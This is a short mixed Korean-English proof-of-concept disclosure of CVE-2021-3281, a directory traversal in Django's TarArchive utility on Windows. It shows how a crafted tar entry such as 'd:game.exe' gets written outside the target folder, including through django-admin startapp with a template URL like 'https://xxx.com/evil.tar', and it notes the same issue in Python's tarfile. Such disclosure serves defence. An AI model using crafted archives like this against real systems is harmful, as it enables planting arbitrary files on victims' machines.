
CVE-2021-3281의 개념 증명: 조작된 tar 파일을 통한 Django의 TarArchive 유틸리티 디렉토리 탐색 취약점, Python tarfile 모듈 데모 포함.
django.utils.archive.py, lineno:171, TarArchive 클래스에 디렉토리 탐색 취약점이 있습니다.
os.path.join(to_path, name) 함수 호출이 "name" 매개변수를 확인하지 않았습니다. 누군가 이 유틸리티를 Windows 플랫폼에서 사용한다면 디렉토리 탐색 위험이 있습니다. POC는 다음과 같습니다:
from django.utils import archive
archive.extract('test.tar','.')
The test.tar include file named "d:game.exe",and the poc will create a file named "game.exe" in D://game.exe rather than "."
It looks like the Django core didn't use this util,but I still think it's a risk,maybe someone will use this util in webapp to archive somethings.``and there is another scene:``"djangoadmin startapp --template" command will use archive.py,see in https://docs.djangoproject.com/en/3.1/ref/django-admin/#s-startapp. POC is:
django-admin.exe startapp vulapp --template="C:/my_templates/test.tar"
It'll create a file named "game.exe" in D://game.exe rather than "vulapp/", It also accept URLs like "django-admin.exe startapp vulapp --template=https://xxx.com/evil.tar"
from django.utils import archive
archive.extract('test.tar','.')
Python/Lib/tarfile.py에도 동일한 문제가 있습니다:
#Lib/tarfile.py:
import tarfile
tar=tarfile.open('test.tar','r')
tar.extractall('.')
tar.close()
문서에서는 경고를 제공합니다. 자세한 내용은 https://docs.python.org/3/library/tarfile.html#tarfile.TarFile.extractall 참조하세요.